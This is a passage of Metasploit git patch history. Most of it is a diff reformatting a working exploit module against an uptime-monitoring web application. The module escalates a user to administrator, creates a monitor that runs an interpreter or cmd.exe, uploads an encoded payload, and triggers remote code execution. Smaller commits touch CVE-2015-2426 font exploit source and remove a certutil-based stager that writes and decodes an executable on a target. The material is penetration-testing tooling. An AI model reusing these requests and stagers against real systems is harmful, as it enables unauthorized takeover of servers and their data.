res_priv.body.match(/UPTIME.CurrentUser.userId.*/) + get_id = matchdata[0].gsub(/[^\d]/, '') + print_status('Escalating privileges...') + # #####################Privilege escalation post#################################### + res_priv_elev = send_request_cgi( + 'method' => 'POST', + 'uri' => '/main.php', + 'vars_get' => + { + 'section' => 'UserContainer', + 'subsection' => 'edit', + 'id' => "#{get_id}" + }, + 'headers' => + { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_post' => + { + 'operation' => 'submit', + 'disableEditOfUsernameRoleGroup' => 'false', + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'passwordConfirm' => datastore['PASSWORD'], + 'firstname' => rand_text_alpha(10), + 'lastname' => rand_text_alpha(10), + 'location' => '', + 'emailaddress' => '', + 'emailtimeperiodid' => '1', + 'phonenumber' => '', + 'phonenumbertimeperiodid' => '1', + 'windowshost' => '', + 'windowsworkgroup' => '', + 'windowspopuptimeperiodid' => '1', + 'landingpage' => 'MyPortal', + 'isonvacation' => '0', + 'receivealerts' => '0', + 'activexgraphs' => '0', + 'newuser' => 'on', + 'newuser' => '1', + 'userroleid' => '1', + 'usergroupid[]' => '1' + }) + # #################################Refresing perms.################################################################### + print_status('Refresing perms...') + res_priv = send_request_cgi( + 'method' => 'GET', + 'uri' => '/index.php?loggedout', + 'headers' => + { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + } + ) -######################Privilege escalation getting user ID################# - res_priv = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/main.php', - 'vars_get' => { - 'page' => 'Users', - 'subPage' => 'UserContainer' - }, - 'headers' => { - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', - } + res_auth = send_request_cgi( + 'method' => 'POST', + 'uri' => '/index.php', + 'vars_post' => + { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] - } - ) - matchdata=res_priv.body.match(/UPTIME.CurrentUser.userId.*/) + }) + if res_auth && res_auth.get_cookies =~ /login=true/ + cookie = Regexp.last_match(1) + cookie_split = res_auth.get_cookies.split(';') + print_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") + print_good('Priv. Escalation success') + end - get_id= matchdata[0].gsub(/[^\d]/, '') + # #########CREATING EXEC Service################################################# + phpfile_name = rand_text_alpha(10) + # #########CREATING Linux EXEC Service################################################# + if res_auth.headers['Server'] =~ /Unix/ + print_status('Creating Linux Monitor Code exec...') + res_service = send_request_cgi( + 'method' => 'POST', + 'uri' => '/main.php', + 'headers' => + { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_get' => + { + 'section' => 'ERDCInstance', + 'subsection' => 'add' + }, + 'vars_post' => + { + 'initialERDCId' => '20', + 'target' => '1', + 'targetType' => 'systemList', + 'systemList' => '1', + 'serviceGroupList' => '-10', + 'initialMode' => 'standard', + 'erdcName' => 'Exploit', + 'erdcInitialName' => '', + 'erdcDescription' => 'Exploit', + 'hostButton' => 'system', + 'erdc_id' => '20', + 'forceReload' => '0', + 'operation' => 'standard', + 'erdc_instance_id' => '', + 'label_[184]' => 'Script Name', + 'value_[184]' => phppath, + 'id_[184]' => 'process', + 'name_[process]' => '184', + 'units_[184]' => '', + 'guiBasic_[184]' => '1', + 'inputType_[184]' => 'GUIString', + 'screenOrder_[184]' => '1', + 'parmType_[184]' => '1', + 'label_[185]' => 'Arguments', + 'value_[185]' => uploadpath + '/' + phpfile_name + '.txt', + 'id_[185]' => 'args', + 'name_[args]' => '185', + 'units_[185]' => '', + 'guiBasic_[185]' => '1', + 'inputType_[185]' => 'GUIString', + 'screenOrder_[185]' => '2', + 'parmType_[185]' => '1', + 'label_[187]' => 'Output', + 'can_retain_[187]' => 'false', + 'comparisonWarn_[187]' => '-1', + 'comparison_[187]' => '-1', + 'id_[187]' => 'value_critical_output', + 'name_[output]' => '187', + 'units_[187]' => '', + 'guiBasic_[187]' => '1', + 'inputType_[187]' => 'GUIString', + 'screenOrder_[187]' => '4', + 'parmType_[187]' => '2', + 'label_[189]' => 'Response time', + 'can_retain_[189]' => 'false', + 'comparisonWarn_[189]' => '-1', + 'comparison_[189]' => '-1', + 'id_[189]' => 'value_critical_timer', + 'name_[timer]' => '189', + 'units_[189]' => 'ms', + 'guiBasic_[189]' => '0', + 'inputType_[189]' => 'GUIInteger', + 'screenOrder_[189]' => '6', + 'parmType_[189]' => '2', + 'timing_[erdc_instance_monitored]' => '1', + 'timing_[timeout]' => '60', + 'timing_[check_interval]' => '10', + 'timing_[recheck_interval]' => '1', + 'timing_[max_rechecks]' => '3', + 'alerting_[notification]' => '1', + 'alerting_[alert_interval]' => '120', + 'alerting_[alert_on_critical]' => '1', + 'alerting_[alert_on_warning]' => '1', + 'alerting_[alert_on_recovery]' => '1', + 'alerting_[alert_on_unknown]' => '1', + 'time_period_id' => '1', + 'pageFinish' => 'Finish', + 'pageContinue' => 'Continue...', + 'isWizard' => '1', + 'wizardPage' => '2', + 'wizardNumPages' => '2', + 'wizardTask' => 'pageFinish', + 'visitedPage[1]' => '1', + 'visitedPage[2]' => '1' + }) - print_status("Escalating privileges...") - -######################Privilege escalation post#################################### - res_priv_elev = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/main.php', - 'vars_get' => { - 'section' => 'UserContainer', - 'subsection' => 'edit', - 'id' => "#{get_id}" - }, - 'headers' => { - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/main.php?page=Users&subPage=UserContainer", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', - }, - 'vars_post' => { - 'operation' =>'submit', - 'disableEditOfUsernameRoleGroup' =>'false', - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - 'passwordConfirm' => datastore['PASSWORD'], - 'firstname' => rand_text_alpha(10), - 'lastname' => rand_text_alpha(10), - 'location' =>'', - 'emailaddress' =>'', - 'emailtimeperiodid' =>'1', - 'phonenumber' =>'', - 'phonenumbertimeperiodid' =>'1', - 'windowshost' =>'', - 'windowsworkgroup' =>'', - 'windowspopuptimeperiodid' =>'1', - 'landingpage' =>'MyPortal', - 'isonvacation' =>'0', - 'receivealerts' =>'0', - 'activexgraphs' =>'0', - 'newuser' =>'on', - 'newuser' =>'1', - 'userroleid' =>'1', - 'usergroupid[]' =>'1' - } - } ) - -##################################Refresing perms.################################################################### - print_status("Refresing perms...") - res_priv = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/index.php?loggedout', - 'headers' => { - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - } - - } ) - - res_auth = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/index.php', - 'vars_post' => { - 'username' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'] - - } - } ) - - if res_auth and res_auth.get_cookies =~ /login=true/ - cookie = $1 - cookie_split = res_auth.get_cookies.split(";") - print_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") - print_good("Priv. Escalation success") - end - -##########CREATING EXEC Service################################################# -phpfile_name = rand_text_alpha(10) -##########CREATING Linux EXEC Service################################################# - if res_auth.headers['Server'] =~ /Unix/ - print_status("Creating Linux Monitor Code exec...") - res_service = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/main.php', - 'headers' =>{ - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }, - 'vars_get' => { - 'section' => 'ERDCInstance', - 'subsection' => 'add' - - }, - 'vars_post' => { - 'initialERDCId' => '20', - 'target' => '1', - 'targetType' => 'systemList', - 'systemList' => '1', - 'serviceGroupList' => '-10', - 'initialMode' => 'standard', - 'erdcName' => 'Exploit', - 'erdcInitialName' => '', - 'erdcDescription' => 'Exploit', - 'hostButton' => 'system', - 'erdc_id' => '20', - 'forceReload' => '0', - 'operation' => 'standard', - 'erdc_instance_id' => '', - 'label_[184]' => 'Script Name', - 'value_[184]' => phppath, - 'id_[184]' => 'process', - 'name_[process]' => '184', - 'units_[184]' => '', - 'guiBasic_[184]' => '1', - 'inputType_[184]' => 'GUIString', - 'screenOrder_[184]' => '1', - 'parmType_[184]' => '1', - 'label_[185]' => 'Arguments', - 'value_[185]' => uploadpath +'/'+ phpfile_name +'.txt', - 'id_[185]' => 'args', - 'name_[args]' => '185', - 'units_[185]' => '', - 'guiBasic_[185]' => '1', - 'inputType_[185]' => 'GUIString', - 'screenOrder_[185]' => '2', - 'parmType_[185]' => '1', - 'label_[187]' => 'Output', - 'can_retain_[187]' => 'false', - 'comparisonWarn_[187]' => '-1', - 'comparison_[187]' => '-1', - 'id_[187]' => 'value_critical_output', - 'name_[output]' => '187', - 'units_[187]' => '', - 'guiBasic_[187]' => '1', - 'inputType_[187]' => 'GUIString', - 'screenOrder_[187]' => '4', - 'parmType_[187]' => '2', - 'label_[189]' => 'Response time', - 'can_retain_[189]' => 'false', - 'comparisonWarn_[189]' => '-1', - 'comparison_[189]' => '-1', - 'id_[189]' => 'value_critical_timer', - 'name_[timer]' => '189', - 'units_[189]' => 'ms', - 'guiBasic_[189]' => '0', - 'inputType_[189]' => 'GUIInteger', - 'screenOrder_[189]' => '6', - 'parmType_[189]' => '2', - 'timing_[erdc_instance_monitored]' => '1', - 'timing_[timeout]' => '60', - 'timing_[check_interval]' => '10', - 'timing_[recheck_interval]' => '1', - 'timing_[max_rechecks]' => '3', - 'alerting_[notification]' => '1', - 'alerting_[alert_interval]' => '120', - 'alerting_[alert_on_critical]' => '1', - 'alerting_[alert_on_warning]' => '1', - 'alerting_[alert_on_recovery]' => '1', - 'alerting_[alert_on_unknown]' => '1', - 'time_period_id' => '1', - 'pageFinish' => 'Finish', - 'pageContinue' => 'Continue...', - 'isWizard' => '1', - 'wizardPage' => '2', - 'wizardNumPages' => '2', - 'wizardTask' => 'pageFinish', - 'visitedPage[1]' => '1', - 'visitedPage[2]' => '1' - - } - } ) - - else -##########CREATING Windows EXEC Service################################################# - print_status("Creating Windows Monitor Code exec...") - res_service = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/main.php', - 'headers' => { - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }, - 'vars_get' => { - 'section' => 'ERDCInstance', - 'subsection' => 'add' - }, - 'vars_post' => { - 'initialERDCId' => '20', - 'target' => '1', - 'targetType' => 'systemList', - 'systemList' => '1', - 'serviceGroupList' => '-10', - 'initialMode' => 'standard', - 'erdcName' => 'Exploit', - 'erdcInitialName' => '', - 'erdcDescription' => 'Exploit', - 'hostButton' => 'system', - 'erdc_id' => '20', - 'forceReload' => '0', - 'operation' => 'standard', - 'erdc_instance_id' => '', - 'label_[184]' => 'Script Name', - 'value_[184]' => 'c:\windows\system32\cmd.exe', - 'id_[184]' => 'process', - 'name_[process]' => '184', - 'units_[184]' => '', - 'guiBasic_[184]' => '1', - 'inputType_[184]' => 'GUIString', - 'screenOrder_[184]' => '1', - 'parmType_[184]' => '1', - 'label_[185]' => 'Arguments', - 'value_[185]' => "/K \"\"#{phppath}\""+" "+"\"#{uploadpath}\\#{phpfile_name}.txt""\"\" ", - 'id_[185]' => 'args', - 'name_[args]' => '185', - 'units_[185]' => '', - 'guiBasic_[185]' => '1', - 'inputType_[185]' => 'GUIString', - 'screenOrder_[185]' => '2', - 'parmType_[185]' => '1', - 'label_[187]' => 'Output', - 'can_retain_[187]' => 'false', - 'comparisonWarn_[187]' => '-1', - 'comparison_[187]' => '-1', - 'id_[187]' => 'value_critical_output', - 'name_[output]' => '187', - 'units_[187]' => '', - 'guiBasic_[187]' => '1', - 'inputType_[187]' => 'GUIString', - 'screenOrder_[187]' => '4', - 'parmType_[187]' => '2', - 'label_[189]' => 'Response time', - 'can_retain_[189]' => 'false', - 'comparisonWarn_[189]' => '-1', - 'comparison_[189]' => '-1', - 'id_[189]' => 'value_critical_timer', - 'name_[timer]' => '189', - 'units_[189]' => 'ms', - 'guiBasic_[189]' => '0', - 'inputType_[189]' => 'GUIInteger', - 'screenOrder_[189]' => '6', - 'parmType_[189]' => '2', - 'timing_[erdc_instance_monitored]' => '1', - 'timing_[timeout]' => '60', - 'timing_[check_interval]' => '10', - 'timing_[recheck_interval]' => '1', - 'timing_[max_rechecks]' => '3', - 'alerting_[notification]' => '1', - 'alerting_[alert_interval]' => '120', - 'alerting_[alert_on_critical]' => '1', - 'alerting_[alert_on_warning]' => '1', - 'alerting_[alert_on_recovery]' => '1', - 'alerting_[alert_on_unknown]' => '1', - 'time_period_id' => '1', - 'pageFinish' => 'Finish', - 'pageContinue' => 'Continue...', - 'isWizard' => '1', - 'wizardPage' => '2', - 'wizardNumPages' => '2', - 'wizardTask' => 'pageFinish', - 'visitedPage[1]' => '1', - 'visitedPage[2]' => '1' - } - } ) - end - - -########Upload file############################################### - print_status("Uploading file...") - res_upload = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/wizards/post2file.php', - 'vars_post' => { - 'file_name' => phpfile_name + '.txt', - 'script' => payload.encoded - - } - } ) - - print_status("Cheking Uploaded file...") - res_up_check = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/wizards'+ '/' + phpfile_name + '.txt', - 'headers' => { - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', - 'Connection' => 'keep-alive', - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - } - - } ) - - if res_up_check.code == 200 - print_good("File found: #{phpfile_name}") - else - print_error("File not found") - end - - -#####Get Monitor ID################################################################## - - print_status("Fetching Monitor ID...") - res_mon_id = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/ajax/jsonQuery.php', - 'vars_get' => { - 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', - 'iDisplayStart' => '0', - 'iDisplayLength' => '10', - 'sSearch' => 'Exploit' - }, - 'headers' => { - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', + else + # #########CREATING Windows EXEC Service################################################# + print_status('Creating Windows Monitor Code exec...') + res_service = send_request_cgi('method' => 'POST', + 'uri' => '/main.php', + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', 'Connection' => 'keep-alive', 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'Host' => "#{rhost}", 'Referer' => "#{rhost}/index.php", 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - } + }, + 'vars_get' => { + 'section' => 'ERDCInstance', + 'subsection' => 'add' + }, + 'vars_post' => { + 'initialERDCId' => '20', + 'target' => '1', + 'targetType' => 'systemList', + 'systemList' => '1', + 'serviceGroupList' => '-10', + 'initialMode' => 'standard', + 'erdcName' => 'Exploit', + 'erdcInitialName' => '', + 'erdcDescription' => 'Exploit', + 'hostButton' => 'system', + 'erdc_id' => '20', + 'forceReload' => '0', + 'operation' => 'standard', + 'erdc_instance_id' => '', + 'label_[184]' => 'Script Name', + 'value_[184]' => 'c:\windows\system32\cmd.exe', + 'id_[184]' => 'process', + 'name_[process]' => '184', + 'units_[184]' => '', + 'guiBasic_[184]' => '1', + 'inputType_[184]' => 'GUIString', + 'screenOrder_[184]' => '1', + 'parmType_[184]' => '1', + 'label_[185]' => 'Arguments', + 'value_[185]' => "/K \"\"#{phppath}\"" + ' ' + "\"#{uploadpath}\\#{phpfile_name}.txt""\"\" ", + 'id_[185]' => 'args', + 'name_[args]' => '185', + 'units_[185]' => '', + 'guiBasic_[185]' => '1', + 'inputType_[185]' => 'GUIString', + 'screenOrder_[185]' => '2', + 'parmType_[185]' => '1', + 'label_[187]' => 'Output', + 'can_retain_[187]' => 'false', + 'comparisonWarn_[187]' => '-1', + 'comparison_[187]' => '-1', + 'id_[187]' => 'value_critical_output', + 'name_[output]' => '187', + 'units_[187]' => '', + 'guiBasic_[187]' => '1', + 'inputType_[187]' => 'GUIString', + 'screenOrder_[187]' => '4', + 'parmType_[187]' => '2', + 'label_[189]' => 'Response time', + 'can_retain_[189]' => 'false', + 'comparisonWarn_[189]' => '-1', + 'comparison_[189]' => '-1', + 'id_[189]' => 'value_critical_timer', + 'name_[timer]' => '189', + 'units_[189]' => 'ms', + 'guiBasic_[189]' => '0', + 'inputType_[189]' => 'GUIInteger', + 'screenOrder_[189]' => '6', + 'parmType_[189]' => '2', + 'timing_[erdc_instance_monitored]' => '1', + 'timing_[timeout]' => '60', + 'timing_[check_interval]' => '10', + 'timing_[recheck_interval]' => '1', + 'timing_[max_rechecks]' => '3', + 'alerting_[notification]' => '1', + 'alerting_[alert_interval]' => '120', + 'alerting_[alert_on_critical]' => '1', + 'alerting_[alert_on_warning]' => '1', + 'alerting_[alert_on_recovery]' => '1', + 'alerting_[alert_on_unknown]' => '1', + 'time_period_id' => '1', + 'pageFinish' => 'Finish', + 'pageContinue' => 'Continue...', + 'isWizard' => '1', + 'wizardPage' => '2', + 'wizardNumPages' => '2', + 'wizardTask' => 'pageFinish', + 'visitedPage[1]' => '1', + 'visitedPage[2]' => '1' + }) + end + # #######Upload file############################################### + print_status('Uploading file...') + res_upload = send_request_cgi('method' => 'POST', + 'uri' => '/wizards/post2file.php', + 'vars_post' => { + 'file_name' => phpfile_name + '.txt', + 'script' => payload.encoded + }) - } ) + print_status('Cheking Uploaded file...') + res_up_check = send_request_cgi('method' => 'GET', + 'uri' => '/wizards' + '/' + phpfile_name + '.txt', + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }) - matchdata=res_mon_id.body.match(/id=?[^>]*>/) + if res_up_check.code == 200 + print_good("File found: #{phpfile_name}") + else + print_error('File not found') + end - mon_get_id= matchdata[0].gsub(/[^\d]/, '') - print_good("Monitor id aquired:#{mon_get_id}") -####Executing monitor#################################################################### - res_exec_mon = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/main.php', - 'headers' => { - 'Accept' =>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', - 'Cache-Control'=> 'max-age=0', - 'Connection' => 'keep-alive', - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", - 'Host' => "#{rhost}", - 'Referer' => "#{rhost}/index.php", - 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' - }, - 'vars_post' => { - 'section' => 'RunERDCInstance', - 'subsection' => 'view', - 'id' => mon_get_id, - 'name' => 'Exploit' + # ####Get Monitor ID################################################################## - } - } ) -###################################################################################### + print_status('Fetching Monitor ID...') + res_mon_id = send_request_cgi('method' => 'GET', + 'uri' => '/ajax/jsonQuery.php', + 'vars_get' => { + 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', + 'iDisplayStart' => '0', + 'iDisplayLength' => '10', + 'sSearch' => 'Exploit' + }, + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }) + + matchdata = res_mon_id.body.match(/id=?[^>]*>/) + + mon_get_id = matchdata[0].gsub(/[^\d]/, '') + print_good("Monitor id aquired:#{mon_get_id}") + # ###Executing monitor#################################################################### + res_exec_mon = send_request_cgi('method' => 'POST', + 'uri' => '/main.php', + 'headers' => { + 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Cache-Control' => 'max-age=0', + 'Connection' => 'keep-alive', + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", + 'Host' => "#{rhost}", + 'Referer' => "#{rhost}/index.php", + 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0' + }, + 'vars_post' => { + 'section' => 'RunERDCInstance', + 'subsection' => 'view', + 'id' => mon_get_id, + 'name' => 'Exploit' + + }) + ###################################################################################### else - print_error("#{rhost}:#{rport} - Cookie not found") - return nil + print_error("#{rhost}:#{rport} - Cookie not found") + return nil end - -end + end end From 6e857568e022818e96ac88178c995fc0fa292072 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Thu, 3 Sep 2015 13:33:40 -0500 Subject: [PATCH 0533/2172] Delete comments --- external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp | 4 ---- external/source/exploits/CVE-2015-2426/dll/src/FontData.h | 1 - 2 files changed, 5 deletions(-) diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp index 1bd55ee3de..409cffea0b 100755 --- a/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp +++ b/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp @@ -118,10 +118,6 @@ VOID ExploiterDoFengShui() { SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA)); wsprintfA(winClass, winClassFmt, i); wsprintfA(winTitle, winTitleFmt, i); - //int winTitleWSize = MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, NULL, 0); - //LPWSTR winTitleW = (LPWSTR)malloc(winTitleWSize * 2); - //memset(winTitleW, 0, winTitleWSize * 2); - //MultiByteToWideChar(CP_UTF8, 0, winTitle, -1, winTitleW, winTitleWSize); windowClass.cbSize = sizeof(WNDCLASSEXA); windowClass.style = CS_HREDRAW | CS_VREDRAW; diff --git a/external/source/exploits/CVE-2015-2426/dll/src/FontData.h b/external/source/exploits/CVE-2015-2426/dll/src/FontData.h index ed6bb9cc1f..82b244f129 100755 --- a/external/source/exploits/CVE-2015-2426/dll/src/FontData.h +++ b/external/source/exploits/CVE-2015-2426/dll/src/FontData.h @@ -1,6 +1,5 @@ #ifndef FONTDATA_H #define FONTDATA_H -#include <Windows.h> extern const UCHAR fontData[785196]; #endif \ No newline at end of file From 956c8e550d04a0fcf875af29ec448b6df4f5073b Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Sep 2015 13:53:21 -0500 Subject: [PATCH 0534/2172] Fix spec like I shoulda done before landing #5736 --- spec/lib/rex/exploitation/cmdstager/certutil_spec.rb | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb index 46ac22d268..29e165cdbc 100644 --- a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb +++ b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb @@ -11,15 +11,9 @@ describe Rex::Exploitation::CmdStagerCertutil do described_class.new(exe) end - describe '#cmd_concat_operator' do - it "returns &" do - expect(cmd_stager.cmd_concat_operator).to eq(" & ") - end - end - describe '#generate' do it "returns an array of commands" do - result = cmd_stager.generate(opts) + result = cmd_stager.generate expect(result).to be_kind_of(Array) expect(result).to_not be_empty From 82b27c903806bcf9f0972df69b87014de46f310b Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 3 Sep 2015 14:18:28 -0500 Subject: [PATCH 0535/2172] Revert "Land #5736, certutil cmdstager" This reverts commit 93eb42dfa3e13b8454d53d98d0d21ff682fcd05d. Conflicts: spec/lib/rex/exploitation/cmdstager/certutil_spec.rb --- lib/msf/core/exploit/cmdstager.rb | 1 - lib/rex/exploitation/cmdstager.rb | 1 - lib/rex/exploitation/cmdstager/certutil.rb | 115 ------------------ .../exploitation/cmdstager/certutil_spec.rb | 23 ---- 4 files changed, 140 deletions(-) delete mode 100644 lib/rex/exploitation/cmdstager/certutil.rb delete mode 100644 spec/lib/rex/exploitation/cmdstager/certutil_spec.rb diff --git a/lib/msf/core/exploit/cmdstager.rb b/lib/msf/core/exploit/cmdstager.rb index 9d33a97c8b..709c797925 100644 --- a/lib/msf/core/exploit/cmdstager.rb +++ b/lib/msf/core/exploit/cmdstager.rb @@ -20,7 +20,6 @@ module Exploit::CmdStager :printf => Rex::Exploitation::CmdStagerPrintf, :vbs => Rex::Exploitation::CmdStagerVBS, :vbs_adodb => Rex::Exploitation::CmdStagerVBS, - :certutil => Rex::Exploitation::CmdStagerCertutil, :tftp => Rex::Exploitation::CmdStagerTFTP } diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index e57d563796..3db60c1f37 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -2,7 +2,6 @@ require 'rex/exploitation/cmdstager/base' require 'rex/exploitation/cmdstager/vbs' -require 'rex/exploitation/cmdstager/certutil' require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb deleted file mode 100644 index 6bfc5b569a..0000000000 --- a/lib/rex/exploitation/cmdstager/certutil.rb +++ /dev/null @@ -1,115 +0,0 @@ -# -*- coding: binary -*- - -require 'rex/text' -require 'rex/arch' -require 'msf/core/framework' - -module Rex -module Exploitation - -### -# -# This class provides the ability to create a sequence of commands from an executable. -# When this sequence is ran via command injection or a shell, the resulting exe will -# be written to disk and executed. -# -# This particular version uses Windows certutil to base64 decode a file, -# created via echo >>, and decode it to the final binary. -# -# -# Written by xistence -# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522 -# -### - -class CmdStagerCertutil < CmdStagerBase - - def initialize(exe) - super - - @var_encoded = Rex::Text.rand_text_alpha(5) - @var_decoded = Rex::Text.rand_text_alpha(5) - @decoder = nil # filled in later - end - - - # Override just to set the extra byte count - # @param opts [Array] The options to generate the command line - # @return [Array] The complete command line - def generate_cmds(opts) - # Set the start/end of the commands here (vs initialize) so we have @tempdir - @cmd_start = "echo " - @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" - xtra_len = @cmd_start.length + @cmd_end.length + 1 - opts.merge!({ :extra => xtra_len }) - super - end - - - # Simple base64 encoder for the executable - # @param opts [Array] The options to generate the command line - # @return [String] Base64 encoded executable - def encode_payload(opts) - Rex::Text.encode_base64(@exe) - end - - - # Combine the parts of the encoded file with the stuff that goes - # before / after it. - # @param parts [Array] Splitted commands - # @param opts [Array] The options 